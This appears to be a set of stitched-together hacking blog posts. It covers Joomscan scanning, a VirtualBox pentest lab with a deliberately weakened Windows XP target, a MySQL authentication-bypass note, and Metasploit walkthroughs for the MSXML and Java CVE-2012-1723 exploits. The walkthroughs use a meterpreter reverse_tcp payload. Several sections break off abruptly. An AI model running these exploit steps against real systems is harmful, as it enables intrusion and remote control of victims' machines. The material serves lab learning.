Now you have to set permission for the Joomscan file. In order to this, Type the following command in Terminal(if you don't know how to open terminal at all, please stop reading this and start it from basics of Linux).

CHMOD 0777 joomscan.pl

Step 3: Update

Update the scanner to latest version. To do this, enter the following command in Terminal:

./joomscan.pl update

Step 4: Scanning for Vulnerability

Now everything ok, we have to scan our joomla site for vulnerability. To do this, enter the following command in Terminal:

./joomscan.pl -u www.YourJoomlasite.com

Wait for a while, and it will list of the vulnerability found.

This tutorial is completely for Educational purpose only. This tutorial is for PenTester and Ethical Hackers .

Hi BTS readers, We have provide you plenty of Ethicalhacking and Pentesting tutorial, still more article is going to come. Meanwhile, i like to teach you how to set up your own pen testing hacking network Lab.

Use of your own Pen Testing Lab:

Free, free ,free..! It's free lab, because it is yours..

Only one system is enough

can Practice your pentesting/hacking skills

can install any kind of malwares(spyware,trojan) or RATs and test how it works

and more ...

is it possible to create a lab with single system?

Yes, you can. we are going to set up lot of vulnerable system virtually . Confused? VirtualBox is open source software provided by Oracle corp that allows to run multiple guest OS(virtual system) in a single system .

This page will you explain everything about Virtualbox and how to setup Guest OS.

I hope you now familiar with installing Guest OS.

Set Up your Target system:Now we have to set up the target system. Install the Windows XP in VirtualBox using the xp.iso file. After installation completed, disable the Firewall in xp so that it can become more vulnerable system.

Set up your PenTesting System:Install the Backtrack5 in Virtualbox. Backtrack is penetration testing Linux that has lot of hacking tools . We will hack the target system using this backtrack.

Network Settings for Guest Os:Step 1:click the File menu in Virtualbox and select PreferenceNow select the Network TabClick the + symbol in the side that will add a new Host only network

Step2:

Right click on the Guest OX(eg:xp,backtrack) and select the Settings.Select Network tab.Now you can see the "Attached to" option menu.change it from NAT to "Host only Adapter"

Do the same thing for both Guest OS.

Step 3:

Now run the both guest os .Finding the IP address of Target System:open the Windows XP Guest OS window. open the cmd in Windows XP and type ipconfigThis will show the ip address of XP. It will be 192.168.56.101

Hacking with Pen Testing System:

open the Terminal and type "nmap 192.168.56.101". Now it will show the list of open port.

You can hack the target system with open ports.Let me explain more details in my next article.

The news about the vulnerability in MySQL and MariaDB spreads like a wildfire I have covered about this vulnerability in E Hacking news as news article. Here, i am going to share the same thing from the perspective of a penetration tester.

The MySQL and MariaDB versions 5.161,5.2.11,5.3.5 and 5.5.c2 are affected version.

The vulnerability allows an attacker to access MySQL database without inputing proper authentication credentials. The vulnerability can only exploited if MySQL was built on a system where the memcmp() function can return values outside the -128 to 127 range.

According to Gokubchik the gcc build in memcmp and BSD libc are safe bu the linux glibc sse-optimised memcmp is not safe.

An attacker would have no way to force users to visit such a website. Instead, an attacker would have to convince users to visit the website, typically by getting them to click a link in an email message or Instant Messenger message that takes them to the attacker's website.

The vulnerability affects all supported releases of Microsoft Windows, and all supported editions of Microsoft Office 2003 and Microsoft Office 2007. Here you can get the full list. -----------------------------------------------------------------------------------------------------------------------------------------------------------The vulnerability exists when MSXML attempts to access an object in memory that has not been initialized, which may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the logged-on user.-----------------------------------------------------------------------------------------------------------------------------------------------------------I am going to demonstrate how to use Metasploit tool for testing whether your network vulnerable or not.

Open the Terminal and type "msfupdate" to get the latest metasploit modules. Once update is finished, then type "msfconsole".

Then type the following command in the console "use exploit/windows/browser/msxml_get_definition_code_exec".

Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.

Command: set SRVHOST 192.168.56.10Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.

Command: set lhost 192.168.56.10

Command: set URIPATH /Details: The path in which our exploit will run.

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

Type "exploit" in the console.

Once the victim loads the URL in his IE browser, you will get the following message in your metasploit console:

CVE-2012-1723: A vulnerability in the HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checking. A specially-crafted class file could possibly use this flaw to bypass Java sandbox restrictions, and load additional classes in order to perform malicious operations. The vulnerability was made public by Michael ‘mihi’ Schierl.Requirement:

Attacker Machine: Backtrack

Victim Machine: Windows (install JRE un-patched version )

Step1: Launch the Metasploit consoleOpen the Terminal in the Attacker Machine(Backtrack).Type "msfupdate" , this will update the metasploit with latest modules.Now type "msfconsole" to get interaction with the Metasploit Framework

Disclaimer

ALL INFORMATION / TUTORIALS WRITTEN ON HACKERSAUTHORITY.BLOGSPOT.COM ARE FOR EDUCATIONAL PURPOSES ONLY, THE SITE hackersauthority.blogspot.com IS NOT RESPONSIBLE IN ANY WAY FOR HOW THIS INFORMATION IS USED, YOU USE IT AT YOUR OWN RISK. YOU MAY LEARN ALSO HOW TO GET YOUR OWN ACCOUNT BACK FROM ALL THIS INFRORMATION.